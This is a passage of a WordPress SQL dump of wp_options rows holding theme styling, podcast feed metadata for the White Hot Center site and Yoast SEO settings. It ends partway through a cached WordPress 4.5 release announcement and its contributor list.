(44632, 'woo_style_bg_image_repeat', 'no-repeat', 'yes'),
(44633, 'woo_style_bg_image_pos', 'top left', 'yes'),
(44634, 'woo_style_bg_image_attach', 'scroll', 'yes'),
(44635, 'woo_border_top', 'a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#000000";}', 'yes'),
(44636, 'woo_style_disable', 'false', 'yes'),
(44637, 'woo_layout_width', '820', 'yes'),
(44638, 'woo_layout', 'two-col-left', 'yes'),
(44639, 'woo_footer_sidebars', '4', 'yes'),
(44640, 'woo_layout_boxed', 'false', 'yes'),
(44641, 'woo_box_margin_bottom', '20', 'yes'),
(44642, 'woo_box_border_tb', 'a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}', 'yes'),
(44643, 'woo_box_border_lr', 'a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}', 'yes'),
(44644, 'woo_box_border_radius', '3px', 'yes'),
(44645, 'woo_box_shadow', 'true', 'yes'),
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(44647, 'woo_header_bg_image_repeat', 'no-repeat', 'yes'),
(44648, 'woo_header_border', 'a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:0:"";}', 'yes'),
(44649, 'woo_header_padding_bottom', '10', 'yes'),
(44650, 'woo_font_logo', 'a:5:{s:4:"size";s:2:"40";s:4:"unit";s:2:"px";s:4:"face";s:32:""Myriad Pro", Myriad, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}', 'yes'),
(44651, 'woo_font_desc', 'a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:32:""Myriad Pro", Myriad, sans-serif";s:5:"style";s:3:"300";s:5:"color";s:7:"#999999";}', 'yes'),
(44652, 'woo_nav_rss', 'false', 'yes'),
(44653, 'woo_nav_font', 'a:5:{s:4:"size";s:2:"14";s:4:"unit";s:2:"px";s:4:"face";s:32:""Myriad Pro", Myriad, sans-serif";s:5:"style";s:6:"normal";s:5:"color";s:7:"#030100";}', 'yes'),
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(44657, 'woo_nav_border_bot', 'a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}', 'yes'),
(44658, 'woo_nav_border_lr', 'a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}', 'yes'),
(44659, 'woo_nav_border_radius', '5px', 'yes'),
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(44663, 'woo_font_post_more', 'a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:39:""Helvetica Neue", Helvetica, sans-serif";s:5:"style";s:3:"300";s:5:"color";s:0:"";}', 'yes'),
(44664, 'woo_post_more_border_top', 'a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}', 'yes'),
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(44666, 'woo_post_author_bg', '#fafafa', 'yes'),
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(44668, 'woo_post_author_border_bottom', 'a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}', 'yes'),
(44669, 'woo_post_author_border_lr', 'a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}', 'yes'),
(44670, 'woo_post_author_border_radius', '5px', 'yes'),
(44671, 'woo_disable_post_author', 'false', 'yes'),
(44672, 'woo_pagenav_font', 'a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:39:""Helvetica Neue", Helvetica, sans-serif";s:5:"style";s:3:"300";s:5:"color";s:4:"#888";}', 'yes'),
(44673, 'woo_pagenav_border_top', 'a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}', 'yes'),
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(44675, 'woo_archive_header_font', 'a:5:{s:4:"size";s:2:"18";s:4:"unit";s:2:"px";s:4:"face";s:17:"Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}', 'yes'),
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Can be reset from the <a href="http://whc.fbdev.org/wp-admin/options.php">WP options page</a> under <code>framework_woo_super_user</code>.";s:2:"id";s:24:"framework_woo_super_user";s:3:"std";s:0:"";s:5:"class";s:4:"text";s:4:"type";s:4:"text";}i:2;a:5:{s:4:"name";s:33:"Disable Backup Settings Menu Item";s:4:"desc";s:73:"Disable the <strong>Backup Settings</strong> menu item in the theme menu.";s:2:"id";s:32:"framework_woo_backupmenu_disable";s:3:"std";s:0:"";s:4:"type";s:8:"checkbox";}i:3;a:5:{s:4:"name";s:25:"Theme Update Notification";s:4:"desc";s:101:"This will enable notices on your theme options page that there is an update available for your theme.";s:2:"id";s:35:"framework_woo_theme_version_checker";s:3:"std";s:0:"";s:4:"type";s:8:"checkbox";}i:4;a:5:{s:4:"name";s:32:"WooFramework Update Notification";s:4:"desc";s:107:"This will enable notices on your theme options page that there is an update available for the WooFramework.";s:2:"id";s:39:"framework_woo_framework_version_checker";s:3:"std";s:0:"";s:4:"type";s:8:"checkbox";}i:5;a:3:{s:4:"name";s:14:"Theme Settings";s:4:"icon";s:7:"general";s:4:"type";s:7:"heading";}i:6;a:5:{s:4:"name";s:26:"Remove Generator Meta Tags";s:4:"desc";s:81:"This disables the output of generator meta tags in the HEAD section of your site.";s:2:"id";s:31:"framework_woo_disable_generator";s:3:"std";s:0:"";s:4:"type";s:8:"checkbox";}i:7;a:5:{s:4:"name";s:17:"Image Placeholder";s:4:"desc";s:151:"Set a default image placeholder for your thumbnails. Use this if you want a default image to be shown if you haven''t added a custom image to your post.";s:2:"id";s:27:"framework_woo_default_image";s:3:"std";s:0:"";s:4:"type";s:6:"upload";}i:8;a:5:{s:4:"name";s:29:"Disable Shortcodes Stylesheet";s:4:"desc";s:76:"This disables the output of shortcodes.css in the HEAD section of your site.";s:2:"id";s:32:"framework_woo_disable_shortcodes";s:3:"std";s:0:"";s:4:"type";s:8:"checkbox";}i:9;a:5:{s:4:"name";s:39:"Output "Tracking Code" Option in Header";s:4:"desc";s:112:"This will output the <strong>Tracking Code</strong> option in your header instead of the footer of your website.";s:2:"id";s:32:"framework_woo_move_tracking_code";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:10;a:3:{s:4:"name";s:8:"Branding";s:4:"icon";s:4:"misc";s:4:"type";s:7:"heading";}i:11;a:5:{s:4:"name";s:20:"Options panel header";s:4:"desc";s:50:"Change the header image for the WooThemes Backend.";s:2:"id";s:34:"framework_woo_backend_header_image";s:3:"std";s:0:"";s:4:"type";s:6:"upload";}i:12;a:5:{s:4:"name";s:18:"Options panel icon";s:4:"desc";s:56:"Change the icon image for the WordPress backend sidebar.";s:2:"id";s:26:"framework_woo_backend_icon";s:3:"std";s:0:"";s:4:"type";s:6:"upload";}i:13;a:5:{s:4:"name";s:20:"WordPress login logo";s:4:"desc";s:92:"Change the logo image for the WordPress login page.<br /><br />Optimal logo size is 274x63px";s:2:"id";s:31:"framework_woo_custom_login_logo";s:3:"std";s:0:"";s:4:"type";s:6:"upload";}i:14;a:6:{s:4:"name";s:19:"WordPress login URL";s:4:"desc";s:72:"Change the URL that the logo image on the WordPress login page links to.";s:2:"id";s:35:"framework_woo_custom_login_logo_url";s:3:"std";s:0:"";s:5:"class";s:4:"text";s:4:"type";s:4:"text";}i:15;a:6:{s:4:"name";s:26:"WordPress login logo Title";s:4:"desc";s:63:"Change the title of the logo image on the WordPress login page.";s:2:"id";s:37:"framework_woo_custom_login_logo_title";s:3:"std";s:0:"";s:5:"class";s:4:"text";s:4:"type";s:4:"text";}i:16;a:3:{s:4:"name";s:17:"WordPress Toolbar";s:4:"icon";s:6:"header";s:4:"type";s:7:"heading";}i:17;a:5:{s:4:"name";s:25:"Disable WordPress Toolbar";s:4:"desc";s:30:"Disable the WordPress Toolbar.";s:2:"id";s:31:"framework_woo_admin_bar_disable";s:3:"std";s:0:"";s:4:"type";s:8:"checkbox";}i:18;a:5:{s:4:"name";s:44:"Enable the WooFramework Toolbar enhancements";s:4:"desc";s:128:"Enable several WooFramework-specific enhancements to the WordPress Toolbar, such as custom navigation items for "Theme Options".";s:2:"id";s:36:"framework_woo_admin_bar_enhancements";s:3:"std";s:0:"";s:4:"type";s:8:"checkbox";}i:19;a:3:{s:4:"name";s:11:"PressTrends";s:4:"icon";s:11:"presstrends";s:4:"type";s:7:"heading";}i:20;a:5:{s:4:"name";s:27:"Enable PressTrends Tracking";s:4:"desc";s:44:"Enable sending of usage data to PressTrends.";s:2:"id";s:32:"framework_woo_presstrends_enable";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:21;a:5:{s:4:"name";s:20:"What is PressTrends?";s:4:"desc";s:0:"";s:2:"id";s:30:"framework_woo_presstrends_info";s:3:"std";s:353:"PressTrends is a simple usage tracker that allows us to see how our customers are using WooThemes themes - so that we can help improve them for you. <strong>None</strong> of your personal data is sent to PressTrends.<br /><br />For more information, please view the PressTrends <a href="http://presstrends.io/privacy" target="_blank">privacy policy</a>.";s:4:"type";s:4:"info";}}', 'yes'),
(45033, 'wpr_optionsframework', 'a:1:{s:2:"id";s:15:"wprmenu_options";}', 'yes'),
(44868, 'woo_custom_upload_tracking', 'a:0:{}', 'yes'),
(44931, 'ss_podcasting_redirect_feed_date', '1443083875', 'yes'),
(44895, 'ssp_version', '1.14.6', 'yes'),
(44897, 'ssp_update_enclosures', 'run', 'yes'),
(45034, 'wprmenu_options', 'a:21:{s:7:"enabled";s:1:"1";s:4:"menu";s:3:"141";s:4:"hide";s:24:".nav-toggle, #navigation";s:5:"swipe";s:3:"yes";s:10:"search_box";s:4:"hide";s:7:"zooming";s:2:"no";s:15:"menu_symbol_pos";s:4:"left";s:9:"bar_title";s:4:"MENU";s:8:"bar_logo";s:0:"";s:8:"position";s:4:"left";s:10:"from_width";s:3:"800";s:8:"how_wide";s:2:"80";s:7:"bar_bgd";s:7:"#0D0D0D";s:9:"bar_color";s:7:"#F2F2F2";s:8:"menu_bgd";s:7:"#2E2E2E";s:10:"menu_color";s:7:"#CFCFCF";s:16:"menu_color_hover";s:7:"#606060";s:15:"menu_icon_color";s:7:"#FFFFFF";s:15:"menu_border_top";s:7:"#0D0D0D";s:18:"menu_border_bottom";s:7:"#131212";s:23:"menu_border_bottom_show";s:3:"yes";}', 'yes'),
(44898, 'ss_podcasting_use_post_types', '', 'yes'),
(44899, 'ss_podcasting_include_in_main_query', '', 'yes'),
(44900, 'ss_podcasting_player_locations', 'a:2:{i:0;s:7:"content";i:1;s:7:"excerpt";}', 'yes'),
(44901, 'ss_podcasting_player_content_location', 'below', 'yes'),
(44902, 'ss_podcasting_data_title', 'White Hot Center', 'yes'),
(44903, 'ss_podcasting_data_subtitle', 'Tap into the source of inspired success', 'yes'),
(44904, 'ss_podcasting_data_author', 'White Hot Center', 'yes'),
(44905, 'ss_podcasting_data_category', 'Business', 'yes'),
(44906, 'ss_podcasting_data_subcategory', 'Careers', 'yes'),
(44907, 'ss_podcasting_data_description', 'Tap into the source of inspired success', 'yes'),
(44908, 'ss_podcasting_data_image', '', 'yes'),
(44909, 'ss_podcasting_data_owner_name', 'White Hot Center', 'yes'),
(44910, 'ss_podcasting_data_owner_email', 'thomson@whitehotcenter.com', 'yes'),
(44911, 'ss_podcasting_data_language', 'en-US', 'yes'),
(44912, 'ss_podcasting_data_copyright', '© 2015 White Hot Center', 'yes'),
(44913, 'ss_podcasting_explicit', '', 'yes'),
(44914, 'ss_podcasting_redirect_feed', 'on', 'yes'),
(44915, 'ss_podcasting_new_feed_url', 'http://whc.fbdev.org/podcast', 'yes'),
(44962, 'widget_recent-podcast-episodes', 'a:1:{s:12:"_multiwidget";i:1;}', 'yes'),
(44964, 'ss_podcasting_data_subtitle_140', '', 'yes'),
(44963, 'ss_podcasting_data_title_140', '', 'yes'),
(44965, 'ss_podcasting_data_author_140', '', 'yes'),
(44966, 'ss_podcasting_data_category_140', '', 'yes'),
(44967, 'ss_podcasting_data_subcategory_140', '', 'yes'),
(44968, 'ss_podcasting_data_description_140', '', 'yes'),
(44969, 'ss_podcasting_data_image_140', '', 'yes'),
(44970, 'ss_podcasting_data_owner_name_140', '', 'yes'),
(44971, 'ss_podcasting_data_owner_email_140', '', 'yes'),
(44972, 'ss_podcasting_data_language_140', '', 'yes'),
(44973, 'ss_podcasting_data_copyright_140', '', 'yes'),
(44974, 'ss_podcasting_explicit_140', '', 'yes'),
(44975, 'ss_podcasting_redirect_feed_140', 'on', 'yes'),
(44976, 'ss_podcasting_new_feed_url_140', 'http://whc.fbdev.org/whcpodcast', 'yes'),
(46522, 'su_vote', 'no', 'yes'),
(46526, 'wpseo', 'a:21:{s:14:"blocking_files";a:1:{i:0;s:42:"/home/fbdev402/public_html/whc/sitemap.xml";}s:26:"ignore_blog_public_warning";b:1;s:31:"ignore_meta_description_warning";b:0;s:20:"ignore_page_comments";b:0;s:16:"ignore_permalink";b:0;s:15:"ms_defaults_set";b:0;s:23:"theme_description_found";s:0:"";s:21:"theme_has_description";b:0;s:7:"version";s:5:"3.2.4";s:11:"alexaverify";s:0:"";s:12:"company_logo";s:0:"";s:12:"company_name";s:0:"";s:17:"company_or_person";s:0:"";s:20:"disableadvanced_meta";b:1;s:19:"onpage_indexability";b:1;s:12:"googleverify";s:0:"";s:8:"msverify";s:0:"";s:11:"person_name";s:0:"";s:12:"website_name";s:0:"";s:22:"alternate_website_name";s:0:"";s:12:"yandexverify";s:0:"";}', 'yes'),
(46527, 'seo_woo_use_third_party_data', 'true', 'yes'),
(46528, 'wpseo_permalinks', 'a:13:{s:15:"cleanpermalinks";b:0;s:24:"cleanpermalink-extravars";s:0:"";s:29:"cleanpermalink-googlecampaign";b:0;s:31:"cleanpermalink-googlesitesearch";b:0;s:15:"cleanreplytocom";b:0;s:10:"cleanslugs";b:1;s:14:"hide-feedlinks";b:0;s:12:"hide-rsdlink";b:0;s:14:"hide-shortlink";b:0;s:16:"hide-wlwmanifest";b:0;s:18:"redirectattachment";b:0;s:17:"stripcategorybase";b:0;s:13:"trailingslash";b:0;}', 'yes');
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(46529, 'wpseo_titles', 'a:97:{s:10:"title_test";i:0;s:17:"forcerewritetitle";b:0;s:9:"separator";s:7:"sc-dash";s:5:"noodp";b:0;s:6:"noydir";b:0;s:15:"usemetakeywords";b:0;s:16:"title-home-wpseo";s:42:"%%sitename%% %%page%% %%sep%% %%sitedesc%%";s:18:"title-author-wpseo";s:41:"%%name%%, Author at %%sitename%% %%page%%";s:19:"title-archive-wpseo";s:38:"%%date%% %%page%% %%sep%% %%sitename%%";s:18:"title-search-wpseo";s:63:"You searched for %%searchphrase%% %%page%% %%sep%% %%sitename%%";s:15:"title-404-wpseo";s:35:"Page not found %%sep%% %%sitename%%";s:19:"metadesc-home-wpseo";s:0:"";s:21:"metadesc-author-wpseo";s:0:"";s:22:"metadesc-archive-wpseo";s:0:"";s:18:"metakey-home-wpseo";s:0:"";s:20:"metakey-author-wpseo";s:0:"";s:22:"noindex-subpages-wpseo";b:0;s:20:"noindex-author-wpseo";b:0;s:21:"noindex-archive-wpseo";b:1;s:14:"disable-author";b:0;s:12:"disable-date";b:0;s:10:"title-post";s:39:"%%title%% %%page%% %%sep%% %%sitename%%";s:13:"metadesc-post";s:0:"";s:12:"metakey-post";s:0:"";s:12:"noindex-post";b:0;s:13:"showdate-post";b:0;s:16:"hideeditbox-post";b:0;s:10:"title-page";s:39:"%%title%% %%page%% %%sep%% %%sitename%%";s:13:"metadesc-page";s:0:"";s:12:"metakey-page";s:0:"";s:12:"noindex-page";b:0;s:13:"showdate-page";b:0;s:16:"hideeditbox-page";b:0;s:16:"title-attachment";s:39:"%%title%% %%page%% %%sep%% %%sitename%%";s:19:"metadesc-attachment";s:0:"";s:18:"metakey-attachment";s:0:"";s:18:"noindex-attachment";b:0;s:19:"showdate-attachment";b:0;s:22:"hideeditbox-attachment";b:0;s:13:"title-podcast";s:39:"%%title%% %%page%% %%sep%% %%sitename%%";s:16:"metadesc-podcast";s:0:"";s:15:"metakey-podcast";s:0:"";s:15:"noindex-podcast";b:0;s:16:"showdate-podcast";b:0;s:19:"hideeditbox-podcast";b:0;s:18:"title-wooframework";s:39:"%%title%% %%page%% %%sep%% %%sitename%%";s:21:"metadesc-wooframework";s:0:"";s:20:"metakey-wooframework";s:0:"";s:20:"noindex-wooframework";b:0;s:21:"showdate-wooframework";b:0;s:24:"hideeditbox-wooframework";b:0;s:15:"title-portfolio";s:39:"%%title%% %%page%% %%sep%% %%sitename%%";s:18:"metadesc-portfolio";s:0:"";s:17:"metakey-portfolio";s:0:"";s:17:"noindex-portfolio";b:0;s:18:"showdate-portfolio";b:0;s:21:"hideeditbox-portfolio";b:0;s:23:"title-ptarchive-podcast";s:51:"%%pt_plural%% Archive %%page%% %%sep%% %%sitename%%";s:26:"metadesc-ptarchive-podcast";s:0:"";s:25:"metakey-ptarchive-podcast";s:0:"";s:25:"bctitle-ptarchive-podcast";s:0:"";s:25:"noindex-ptarchive-podcast";b:0;s:25:"title-ptarchive-portfolio";s:51:"%%pt_plural%% Archive %%page%% %%sep%% %%sitename%%";s:28:"metadesc-ptarchive-portfolio";s:0:"";s:27:"metakey-ptarchive-portfolio";s:0:"";s:27:"bctitle-ptarchive-portfolio";s:0:"";s:27:"noindex-ptarchive-portfolio";b:0;s:18:"title-tax-category";s:53:"%%term_title%% Archives %%page%% %%sep%% %%sitename%%";s:21:"metadesc-tax-category";s:0:"";s:20:"metakey-tax-category";s:0:"";s:24:"hideeditbox-tax-category";b:0;s:20:"noindex-tax-category";b:0;s:18:"title-tax-post_tag";s:53:"%%term_title%% Archives %%page%% %%sep%% %%sitename%%";s:21:"metadesc-tax-post_tag";s:0:"";s:20:"metakey-tax-post_tag";s:0:"";s:24:"hideeditbox-tax-post_tag";b:0;s:20:"noindex-tax-post_tag";b:0;s:21:"title-tax-post_format";s:53:"%%term_title%% Archives %%page%% %%sep%% %%sitename%%";s:24:"metadesc-tax-post_format";s:0:"";s:23:"metakey-tax-post_format";s:0:"";s:27:"hideeditbox-tax-post_format";b:0;s:23:"noindex-tax-post_format";b:1;s:16:"title-tax-series";s:53:"%%term_title%% Archives %%page%% %%sep%% %%sitename%%";s:19:"metadesc-tax-series";s:0:"";s:18:"metakey-tax-series";s:0:"";s:22:"hideeditbox-tax-series";b:0;s:18:"noindex-tax-series";b:0;s:20:"title-tax-slide-page";s:53:"%%term_title%% Archives %%page%% %%sep%% %%sitename%%";s:23:"metadesc-tax-slide-page";s:0:"";s:22:"metakey-tax-slide-page";s:0:"";s:26:"hideeditbox-tax-slide-page";b:0;s:22:"noindex-tax-slide-page";b:0;s:27:"title-tax-portfolio-gallery";s:53:"%%term_title%% Archives %%page%% %%sep%% %%sitename%%";s:30:"metadesc-tax-portfolio-gallery";s:0:"";s:29:"metakey-tax-portfolio-gallery";s:0:"";s:33:"hideeditbox-tax-portfolio-gallery";b:0;s:29:"noindex-tax-portfolio-gallery";b:0;}', 'yes'),
(46531, 'wpseo_rss', 'a:2:{s:9:"rssbefore";s:0:"";s:8:"rssafter";s:53:"The post %%POSTLINK%% appeared first on %%BLOGLINK%%.";}', 'yes'),
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New features in 4.5 help streamline your workflow, whether you’re writing or building your site.</p>\n<p><iframe width=''692'' height=''388'' src=''https://videopress.com/embed/scFdjVo6?hd=0'' frameborder=''0'' allowfullscreen></iframe><script src=''https://v0.wordpress.com/js/next/videopress-iframe.js?m=1435166243''></script></p>\n<hr />\n<h2 style="text-align: center">Editing Improvements</h2>\n<p><img class="aligncenter size-full wp-image-4220" src="https://wordpress.org/news/files/2016/04/illustration-short-inlinelinks.png" alt="illustration-short-inlinelinks" width="1000" height="400" srcset="https://wordpress.org/news/files/2016/04/illustration-short-inlinelinks.png 1000w, https://wordpress.org/news/files/2016/04/illustration-short-inlinelinks-300x120.png 300w, https://wordpress.org/news/files/2016/04/illustration-short-inlinelinks-768x307.png 768w" sizes="(max-width: 1000px) 100vw, 1000px" /></p>\n<h3>Inline Linking</h3>\n<p>Stay focused on your writing with a less distracting interface that keeps you in place and allows you to easily link to your content.</p>\n<p><img class="aligncenter size-full wp-image-4265" src="https://wordpress.org/news/files/2016/04/editing-shortcuts-big.gif" alt="editing-shortcuts-big" width="960" height="576" /></p>\n<h3>Formatting Shortcuts</h3>\n<p>Do you enjoy using formatting shortcuts for lists and headings? Now they’re even more useful, with horizontal lines and <code>&lt;code&gt;</code>.</p>\n<hr />\n<h2 style="text-align: center">Customization Improvements</h2>\n<p><img class="aligncenter size-full wp-image-4221" src="https://wordpress.org/news/files/2016/04/illustration-short-responsive-preview.png" alt="illustration-short-responsive-preview" width="1000" height="400" srcset="https://wordpress.org/news/files/2016/04/illustration-short-responsive-preview.png 1000w, https://wordpress.org/news/files/2016/04/illustration-short-responsive-preview-300x120.png 300w, https://wordpress.org/news/files/2016/04/illustration-short-responsive-preview-768x307.png 768w" sizes="(max-width: 1000px) 100vw, 1000px" /></p>\n<h3>Live Responsive Previews</h3>\n<p>Make sure your site looks great on all screens! Preview mobile, tablet, and desktop views directly in the customizer.</p>\n<p><img class="aligncenter wp-image-4239 size-full" src="https://wordpress.org/news/files/2016/04/illustration-short-customlogo-whitespace.png" width="1000" height="440" srcset="https://wordpress.org/news/files/2016/04/illustration-short-customlogo-whitespace.png 1000w, https://wordpress.org/news/files/2016/04/illustration-short-customlogo-whitespace-300x132.png 300w, https://wordpress.org/news/files/2016/04/illustration-short-customlogo-whitespace-768x338.png 768w" sizes="(max-width: 1000px) 100vw, 1000px" /></p>\n<h3>Custom Logos</h3>\n<p>Themes can now support logos for your business or brand. Try it out with Twenty Sixteen and Twenty Fifteen in the Site Identity section of the customizer.</p>\n<hr />\n<h2 style="text-align: center">Under the Hood</h2>\n<div class="under-the-hood three-col">\n<div class="col">\n<h3>Smart Image Resizing</h3>\n<p>Generated images now load up to 50% faster with no noticeable quality loss. <a href="https://make.wordpress.org/core/2016/03/12/performance-improvements-for-images-in-wordpress-4-5/">It’s really cool</a>.</p>\n</div>\n<div class="col">\n<h3>Selective Refresh</h3>\n<p>The customizer now supports a <a href="https://make.wordpress.org/core/2016/02/16/selective-refresh-in-the-customizer/">comprehensive framework</a> for rendering parts of the preview without rewriting your PHP code in JavaScript.</p>\n</div>\n<div class="col">\n<h3>Script Loader Improvements</h3>\n<p>Better support has been added for script header/footer dependencies. New <code><a href="https://make.wordpress.org/core/2016/03/08/enhanced-script-loader-in-wordpress-4-5/">wp_add_inline_script()</a></code> enables adding extra code to registered scripts.</p>\n<h3>Better Embed Templates</h3>\n<p>Embed templates have been split into parts and can be <a href="https://make.wordpress.org/core/2016/03/11/embeds-changes-in-wordpress-4-5/">directly overridden by themes</a> via the template hierarchy.</p>\n<h3>JavaScript Library Updates</h3>\n<p>jQuery 1.12.3, jQuery Migrate 1.4.0, Backbone 1.2.3, and Underscore 1.8.3 are bundled.</p>\n</div>\n</div>\n<div class="under-the-hood two-col"></div>\n<hr />\n<h2 style="text-align: center">The Crew</h2>\n<p><a class="alignleft" href="https://profiles.wordpress.org/mikeschroder"><img src="https://www.gravatar.com/avatar/76424a001dc6b3ebb4faca0c567800c4?d=mm&amp;s=180&amp;r=G" alt="Mike Schroder" width="80" height="80" /></a>This release was led by <a href="https://getsource.net">Mike Schroder</a>, backed up by <a href="https://profiles.wordpress.org/adamsilverstein">Adam Silverstein</a> as Release Deputy, <a href="https://choycedesign.com/">Mel Choyce</a> as Release Design Lead, and the help of these fine individuals. There are <span style="font-weight: 400">298</span> contributors with props in this release. Pull up some Coleman Hawkins on your music service of choice, and check out some of their profiles:</p>\n<a href="https://profiles.wordpress.org/mercime">@mercime</a>, <a href="https://profiles.wordpress.org/aaroncampbell">Aaron D. Campbell</a>, <a href="https://profiles.wordpress.org/uglyrobot">Aaron Edwards</a>, <a href="https://profiles.wordpress.org/ahockley">Aaron Hockley</a>, <a href="https://profiles.wordpress.org/jorbin">Aaron Jorbin</a>, <a href="https://profiles.wordpress.org/abiralneupane">Abiral Neupane</a>, <a href="https://profiles.wordpress.org/mrahmadawais">Ahmad Awais</a>, <a href="https://profiles.wordpress.org/aidanlane">aidanlane</a>, <a href="https://profiles.wordpress.org/ambrosey">Alice Brosey</a>, <a href="https://profiles.wordpress.org/arush">Amanda Rush</a>, <a href="https://profiles.wordpress.org/afercia">Andrea Fercia</a>, <a href="https://profiles.wordpress.org/andg">Andrea Gandino</a>, <a href="https://profiles.wordpress.org/nacin">Andrew Nacin</a>, <a href="https://profiles.wordpress.org/azaozz">Andrew Ozz</a>, <a href="https://profiles.wordpress.org/rockwell15">Andrew Rockwell</a>, <a href="https://profiles.wordpress.org/andizer">Andy</a>, <a href="https://profiles.wordpress.org/ankit-k-gupta">Ankit K Gupta</a>, <a href="https://profiles.wordpress.org/atimmer">Anton Timmermans</a>, <a href="https://profiles.wordpress.org/apaliku">apaliku</a>, <a href="https://profiles.wordpress.org/aramzs">Aram Zucker-Scharff</a>, <a href="https://profiles.wordpress.org/ashmatadeen">ash.matadeen</a>, <a href="https://profiles.wordpress.org/bappidgreat">Ashok Kumar Nath</a>, <a href="https://profiles.wordpress.org/bandonrandon">BandonRandon</a>, <a href="https://profiles.wordpress.org/barryceelen">Barry Ceelen</a>, <a href="https://profiles.wordpress.org/empireoflight">Ben Dunkle</a>, <a href="https://profiles.wordpress.org/berengerzyla">berengerzyla</a>, <a href="https://profiles.wordpress.org/neoxx">Bernhard Riedl</a>, <a href="https://profiles.wordpress.org/thisisit">Bhushan S. Jawle</a>, <a href="https://profiles.wordpress.org/birgire">Birgir Erlendsson (birgire)</a>, <a href="https://profiles.wordpress.org/boonebgorges">Boone B. Gorges</a>, <a href="https://profiles.wordpress.org/williamsba1">Brad Williams</a>, <a href="https://profiles.wordpress.org/bradyvercher">Brady Vercher</a>, <a href="https://profiles.wordpress.org/thebrandonallen">Brandon Allen</a>, <a href="https://profiles.wordpress.org/bhubbard">Brandon Hubbard</a>, <a href="https://profiles.wordpress.org/kraftbj">Brandon Kraft</a>, <a href="https://profiles.wordpress.org/krogsgard">Brian Krogsgard</a>, <a href="https://profiles.wordpress.org/borgesbruno">Bruno Borges</a>, <a href="https://profiles.wordpress.org/chmac">Callum Macdonald</a>, <a href="https://profiles.wordpress.org/camikaos">Cami Kaos</a>, <a href="https://profiles.wordpress.org/chandrapatel">Chandra Patel</a>, <a href="https://profiles.wordpress.org/mackensen">Charles Fulton</a>, <a href="https://profiles.wordpress.org/chetanchauhan">Chetan Chauhan</a>, <a href="https://profiles.wordpress.org/chouby">Chouby</a>, <a href="https://profiles.wordpress.org/chrico">ChriCo</a>, <a href="https://profiles.wordpress.org/chriscct7">Chris Christoff</a>, <a href="https://profiles.wordpress.org/chris_dev">Chris Mok</a>, <a href="https://profiles.wordpress.org/christophherr">christophherr</a>, <a href="https://profiles.wordpress.org/ckoerner">ckoerner</a>, <a href="https://profiles.wordpress.org/claudiosanches">Claudio Sanches</a>, <a href="https://profiles.wordpress.org/compute">Compute</a>, <a href="https://profiles.wordpress.org/coreymcollins">coreymcollins</a>, <a href="https://profiles.wordpress.org/d4z_c0nf">d4z_c0nf</a>, <a href="https://profiles.wordpress.org/extendwings">Daisuke Takahashi</a>, <a href="https://profiles.wordpress.org/danhgilmore">danhgilmore</a>, <a href="https://profiles.wordpress.org/danielbachhuber">Daniel Bachhuber</a>, <a href="https://profiles.wordpress.org/scarinessreported">Daniel Bailey</a>, <a href="https://profiles.wordpress.org/redsweater">Daniel Jalkut (Red Sweater)</a>, <a href="https://profiles.wordpress.org/diddledan">Daniel Llewellyn</a>, <a href="https://profiles.wordpress.org/mte90">Daniele Scasciafratte</a>, <a href="https://profiles.wordpress.org/danielpataki">danielpataki</a>, <a href="https://profiles.wordpress.org/dvankooten">Danny van Kooten</a>, <a href="https://profiles.wordpress.org/thewanderingbrit">Dave Clements</a>, <a href="https://profiles.wordpress.org/davidakennedy">David A. Kennedy</a>, <a href="https://profiles.wordpress.org/dbrumbaugh10up">David Brumbaugh</a>, <a href="https://profiles.wordpress.org/dlh">David Herrera</a>, <a href="https://profiles.wordpress.org/dnewton">David Newton</a>, <a href="https://profiles.wordpress.org/dshanske">David Shanske</a>, <a href="https://profiles.wordpress.org/folletto">Davide ''Folletto'' Casali</a>, <a href="https://profiles.wordpress.org/denis-de-bernardy">Denis de Bernardy</a>, <a href="https://profiles.wordpress.org/realloc">Dennis Ploetner</a>, <a href="https://profiles.wordpress.org/valendesigns">Derek Herman</a>, <a href="https://profiles.wordpress.org/dd32">Dion Hulse</a>, <a href="https://profiles.wordpress.org/dmsnell">dmsnell</a>, <a href="https://profiles.wordpress.org/ocean90">Dominik Schilling</a>, <a href="https://profiles.wordpress.org/dossy">Dossy Shiobara</a>, <a href="https://profiles.wordpress.org/dotancohen">Dotan Cohen</a>, <a href="https://profiles.wordpress.org/drebbitsweb">Dreb Bits</a>, <a href="https://profiles.wordpress.org/drewapicture">Drew Jaynes</a>, <a href="https://profiles.wordpress.org/duaneblake">duaneblake</a>, <a href="https://profiles.wordpress.org/kucrut">Dzikri Aziz</a>, <a href="https://profiles.wordpress.org/eliorivero">Elio Rivero</a>, <a href="https://profiles.wordpress.org/iseulde">Ella Iseulde Van Dorpe</a>, <a href="https://profiles.wordpress.org/codex-m">Emerson Maningo</a>, <a href="https://profiles.wordpress.org/enej">enej</a>, <a href="https://profiles.wordpress.org/ericlewis">Eric Andrew Lewis</a>, <a href="https://profiles.wordpress.org/ebinnion">Eric Binnion</a>, <a href="https://profiles.wordpress.org/ericdaams">Eric Daams</a>, <a href="https://profiles.wordpress.org/ethitter">Erick Hitter</a>, 